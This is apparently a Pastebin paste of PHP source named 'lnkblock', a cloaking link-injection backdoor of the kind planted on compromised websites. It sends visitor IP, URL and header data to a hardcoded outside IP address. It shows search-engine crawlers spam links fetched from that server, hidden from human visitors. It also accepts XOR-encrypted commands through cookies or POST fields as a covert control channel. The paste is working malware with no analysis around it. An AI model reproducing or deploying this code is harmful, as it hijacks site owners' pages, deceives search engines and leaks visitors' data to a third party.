daily pastebin goal
57%
SHARE
TWEET

lnkblock

a guest Jan 9th, 2018 66 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2.  
  3. if (!defined('ALREADY_RUN_1bc29b36f623ca82aaf6724fd3b16718') )
  4. {
  5.     define('ALREADY_RUN_1bc29b36f623ca82aaf6724fd3b16718', 1);
  6.  
  7.  
  8.     $data = NULL;
  9.     $data_key = NULL;
  10.  
  11.     $GLOBALS['lb_auth'] = '6e8a9e72-0368-7a8d-0d09-b03864761e90';
  12.     global $lb_auth;
  13.  
  14.     $page_hrefs_for_replace = array();
  15.  
  16.     $link_blocks = array();
  17.  
  18.     function query_base()
  19.     {
  20.         $query = Array();
  21.         $query['i'] = $_SERVER['REMOTE_ADDR'];
  22.         $query['p'] = @$_SERVER['HTTP_HOST'] . @$_SERVER['REQUEST_URI'];
  23.         $query['u'] = @$_SERVER['HTTP_USER_AGENT'];
  24.         $query['al'] = @$_SERVER['HTTP_ACCEPT_LANGUAGE'];
  25.         $query['r'] = @$_SERVER['HTTP_REFERER'];
  26.         $query['ae'] = @$_SERVER['HTTP_ACCEPT_ENCODING'];
  27.         $query['a'] = @$_SERVER['HTTP_ACCEPT'];
  28.         $query['ac'] = @$_SERVER['HTTP_ACCEPT_CHARSET'];
  29.         $query['c'] = @$_SERVER['HTTP_CONNECTION'];
  30.  
  31.         return $query;
  32.     }
  33.  
  34.     function lb_GetLinkBlock()
  35.     {
  36.         global $lb_auth;
  37.  
  38.         $user_agent_to_filter = array('#Ask\s*Jeeves#i', '#HP\s*Web\s*PrintSmart#i', '#HTTrack#i', '#IDBot#i', '#Indy\s*Library#',
  39.             '#ListChecker#i', '#MSIECrawler#i', '#NetCache#i', '#Nutch#i', '#RPT-HTTPClient#i',
  40.             '#rulinki\.ru#i', '#Twiceler#i', '#WebAlta#i', '#Webster\s*Pro#i', '#www\.cys\.ru#i',
  41.             '#Wysigot#i', '#Yahoo!\s*Slurp#i', '#Yeti#i', '#Accoona#i', '#CazoodleBot#i',
  42.             '#CFNetwork#i', '#ConveraCrawler#i', '#DISCo#i', '#Download\s*Master#i', '#FAST\s*MetaWeb\s*Crawler#i',
  43.             '#Flexum\s*spider#i', '#Gigabot#i', '#HTMLParser#i', '#ia_archiver#i', '#ichiro#i',
  44.             '#IRLbot#i', '#Java#i', '#km\.ru\s*bot#i', '#kmSearchBot#i', '#libwww-perl#i',
  45.             '#Lupa\.ru#i', '#LWP::Simple#i', '#lwp-trivial#i', '#Missigua#i', '#MJ12bot#i',
  46.             '#msnbot#i', '#msnbot-media#i', '#Offline\s*Explorer#i', '#OmniExplorer_Bot#i',
  47.             '#PEAR#i', '#psbot#i', '#Python#i', '#rulinki\.ru#i', '#SMILE#i',
  48.             '#Speedy#i', '#Teleport\s*Pro#i', '#TurtleScanner#i', '#User-Agent#i', '#voyager#i',
  49.             '#Webalta#i', '#WebCopier#i', '#WebData#i', '#WebZIP#i', '#Wget#i',
  50.             '#Yandex#i', '#Yanga#i', '#Yeti#i', '#msnbot#i',
  51.             '#spider#i', '#yahoo#i', '#jeeves#i', '#google#i', '#altavista#i',
  52.             '#scooter#i', '#av\s*fetch#i', '#asterias#i', '#spiderthread revision#i', '#sqworm#i',
  53.             '#ask#i', '#lycos.spider#i', '#infoseek sidewinder#i', '#ultraseek#i', '#polybot#i',
  54.             '#webcrawler#i', '#robozill#i', '#gulliver#i', '#architextspider#i', '#yahoo!\s*slurp#i',
  55.             '#charlotte#i', '#ngb#i', '#BingBot#i');
  56.  
  57.         if (!empty($_SERVER['HTTP_USER_AGENT']) && (FALSE !== strpos(preg_replace($user_agent_to_filter, '-NO-WAY-', $_SERVER['HTTP_USER_AGENT']), '-NO-WAY-'))) {
  58.             $isbot = 1;
  59.         }
  60.         elseif (FALSE !== strpos(@gethostbyaddr($_SERVER['REMOTE_ADDR']), 'google')) {
  61.             $isbot = 1;
  62.         }
  63.         else{
  64.             $isbot = 0;
  65.         }
  66.  
  67.         if ($isbot == 0)
  68.         {
  69.             return "";
  70.         }
  71.  
  72.         $query = query_base();
  73.         $query["uid"] = $GLOBALS['lb_auth'];
  74.  
  75.         $query = http_build_query($query);
  76.  
  77.         $url = "http://94.130.71.28/module/access/api?action=links";
  78.         $page = HttpClient::query($url, $query);
  79.  
  80.         $page = @unserialize($page);
  81.         $linkdata = "";
  82.         if (isset($page["type"]) && $page["type"] == "links")
  83.         {
  84.             $linkdata = $page["data"];
  85.         }
  86.  
  87.         if (!empty($linkdata))
  88.         {
  89.             return preg_split('/\\r\\n?|\\n/', $linkdata);
  90.         }
  91.         else
  92.         {
  93.             return "";
  94.         }
  95.     }
  96.  
  97.     function lb_GetTagQueue($main_tag)
  98.     {
  99.         $tag_queue = array();
  100.  
  101.         array_push($tag_queue,"#</html>");
  102.         array_push($tag_queue,"#<html");
  103.         array_push($tag_queue,"#</body>");
  104.         array_push($tag_queue,"#<body");
  105.  
  106.         //put interesting tag at the top
  107.         $num_tag = array_search($main_tag, $tag_queue);
  108.  
  109.         if ($num_tag !== False)
  110.         {
  111.             array_splice($tag_queue, $num_tag, 1);
  112.             array_push($tag_queue, $main_tag);
  113.         }
  114.  
  115.         return $tag_queue;
  116.     }
  117.  
  118.     function lb_PatchPage($page, $tag, $tag_offset, $links)
  119.     {
  120.         $tag_pos = strpos($page, $tag);
  121.  
  122.         if ($tag_pos === False)
  123.         {
  124.             return False;
  125.         }
  126.  
  127.         $patch_data = substr($page, 0, $tag_pos + $tag_offset).PHP_EOL;
  128.  
  129.         foreach ($links as $line)
  130.         {
  131.             $patch_data .= $line.PHP_EOL;
  132.         }
  133.  
  134.         $patch_data .= substr($page, $tag_pos + $tag_offset);
  135.  
  136.         return $patch_data;
  137.     }
  138.  
  139.     function lb_PatchPageAfterTag($page, $tag, $patch_data)
  140.     {
  141.         if (preg_match_all($tag, $page, $match) !== FALSE)
  142.         {
  143.             return lb_PatchPage($page, $match[0][0], strlen($match[0][0]), $patch_data);
  144.         }
  145.         else
  146.         {
  147.             return FALSE;
  148.         }
  149.     }
  150.  
  151.     function lb_PatchPageBeforTag($page, $tag, $patch_data)
  152.     {
  153.         return lb_PatchPage($page, $tag, 0, $patch_data);
  154.     }
  155.  
  156.     function lb_GetRenderedPage($page, $link_blocks, $cur_tag)
  157.     {
  158.         if ($cur_tag == '#<body')
  159.         {
  160.             $patched_page = lb_PatchPageAfterTag($page, "/<[b][o][d][y][^>]*>/", $link_blocks);
  161.         }
  162.         elseif ($cur_tag == '#</body>')
  163.         {
  164.             $patched_page = lb_PatchPageBeforTag($page, '</body>', $link_blocks);
  165.         }
  166.         elseif ($cur_tag == '#<html')
  167.         {
  168.             $patched_page = lb_PatchPageAfterTag($page, "/<[h][t][m][l][^>]*>/", $link_blocks);
  169.         }
  170.         elseif ($cur_tag == '#</html>')
  171.         {
  172.             $patched_page = lb_PatchPageBeforTag($page, '</html>', $link_blocks);
  173.         }
  174.         else
  175.         {
  176.             $patched_page = False;
  177.         }
  178.  
  179.         return $patched_page;
  180.     }
  181.  
  182.     function lb_postrender_handler($buffer, $phase)
  183.     {
  184.         // prepare page content
  185.         $deflated = False;
  186.         $content = $buffer;
  187.  
  188.         if(function_exists('gzinflate'))
  189.         {
  190.             $inf = @gzinflate(substr($buffer, 10, -8));
  191.             if($inf !== False)
  192.             {
  193.                 $buffer = $inf;
  194.                 $deflated = True;
  195.             }
  196.         }
  197.  
  198.         $link_blocks = lb_GetLinkBlock();
  199.  
  200.         if (count($link_blocks) == 0)
  201.         {
  202.             return $buffer;
  203.         }
  204.  
  205.         //get and remove Tag from link_block
  206.         $temp = array_splice($link_blocks, 0, 1);
  207.         foreach ($link_blocks as $links)
  208.         {
  209.             $buffer = $links . $buffer;
  210.         }
  211.        
  212. //        $tag_queue = lb_GetTagQueue ($temp[0]);
  213. //
  214. //        while ($tag_queue)
  215. //        {
  216. //            $cur_tag = array_pop($tag_queue);
  217. //
  218. //            $render_page = lb_GetRenderedPage($buffer, $link_blocks, $cur_tag);
  219. //
  220. //            if ($render_page)
  221. //            {
  222. //                $buffer = $render_page;
  223. //                break;
  224. //            }
  225. //        }
  226.  
  227.  
  228.         if($deflated)
  229.         {
  230.             $content = gzencode($buffer);
  231.         }
  232.         else
  233.         {
  234.             $content = $buffer;
  235.         }
  236.  
  237.         header("Content-Length: " . strlen($buffer));
  238.  
  239.         return $content;
  240.     }
  241.  
  242.     function lb_decrypt_phase($data, $key)
  243.     {
  244.         $out_data = "";
  245.  
  246.         for ($i=0; $i<strlen($data);)
  247.         {
  248.             for ($j=0; $j<strlen($key) && $i<strlen($data); $j++, $i++)
  249.             {
  250.                 $out_data .= chr(ord($data[$i]) ^ ord($key[$j]));
  251.             }
  252.         }
  253.  
  254.         return $out_data;
  255.     }
  256.  
  257.     function lb_decrypt($data, $key)
  258.     {
  259.         global $lb_auth;
  260.  
  261.         return lb_decrypt_phase(lb_decrypt_phase($data, $key), $lb_auth);
  262.  
  263.     }
  264.  
  265.     class HttpClient
  266.     {
  267.         static function query($url, $query)
  268.         {
  269.             $content = HttpClient::query_curl($url, $query);
  270.             if (!$content)
  271.             {
  272.                 $content = HttpClient::query_native($url, $query);
  273.             }
  274.  
  275.             return $content;
  276.         }
  277.  
  278.         static function query_curl($url, $content)
  279.         {
  280.             if (!function_exists('curl_version'))
  281.             {
  282.                 return "";
  283.             }
  284.  
  285.             $ch = curl_init();
  286.  
  287.             curl_setopt($ch, CURLOPT_URL, $url);
  288.             if (!empty($content))
  289.             {
  290.                 curl_setopt($ch, CURLOPT_POST, 1);
  291.                 curl_setopt($ch, CURLOPT_POSTFIELDS, $content);
  292.             }
  293.  
  294.             curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
  295.  
  296.             $server_output = curl_exec($ch);
  297.             curl_close($ch);
  298.  
  299.             return $server_output;
  300.         }
  301.  
  302.         static function query_native($url, $content)
  303.         {
  304.             if (!empty($content))
  305.             {
  306.                 $context = stream_context_create(Array('http' => Array('method' => 'POST', 'header' => 'Content-type: application/x-www-form-urlencoded', 'content' => $content)));
  307.  
  308.                 $server_output = @file_get_contents($url, FALSE, $context);
  309.             }
  310.             else
  311.             {
  312.                 $server_output = @file_get_contents($url);
  313.             }
  314.  
  315.             return $server_output;
  316.         }
  317.     }
  318.  
  319.     foreach ($_COOKIE as $key=>$value)
  320.     {
  321.         $data = $value;
  322.         $data_key = $key;
  323.     }
  324.  
  325.     if (!$data)
  326.     {
  327.         foreach ($_POST as $key=>$value)
  328.         {
  329.             $data = $value;
  330.             $data_key = $key;
  331.         }
  332.     }
  333.  
  334.     $data = @unserialize(lb_decrypt(base64_decode($data), $data_key));
  335.  
  336.     if (isset($data['ak']) && $lb_auth==$data['ak'])
  337.     {
  338.         echo "<linkblock>".PHP_EOL;
  339.  
  340.         if ($data['a'] == 'lnkblock')
  341.         {
  342.             if ($data['sa'] == 'check')
  343.             {
  344.                 $content = HttpClient::query("http://example.com/", "");
  345.                 if (strlen($content) > 512) {
  346.                     echo $data['ak'];
  347.                 }
  348.                 echo "</linkblock>".PHP_EOL;
  349.                 exit;
  350.             }
  351.         }
  352.         echo "</linkblock>".PHP_EOL;
  353.     }
  354.  
  355.     $ignore_files_ext = Array("css", "png", "jpg", "gif", "ico", "xml", "txt", "js", "exe", "zip", "mp3", "mpg", "avi", "pdf");
  356.     $requested_file_ext = strtolower(pathinfo(@$_SERVER['REQUEST_URI'], PATHINFO_EXTENSION));
  357.  
  358.     if (!in_array($requested_file_ext, $ignore_files_ext))
  359.     {
  360.         if(!array_key_exists('HTTP_USER_AGENT', $_SERVER))
  361.             $_SERVER['HTTP_USER_AGENT'] = '';
  362.  
  363.         header('Cache-Control: no-cache, no-store, must-revalidate');
  364.  
  365.         ob_start('lb_postrender_handler');
  366.     }
  367.  
  368. }
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top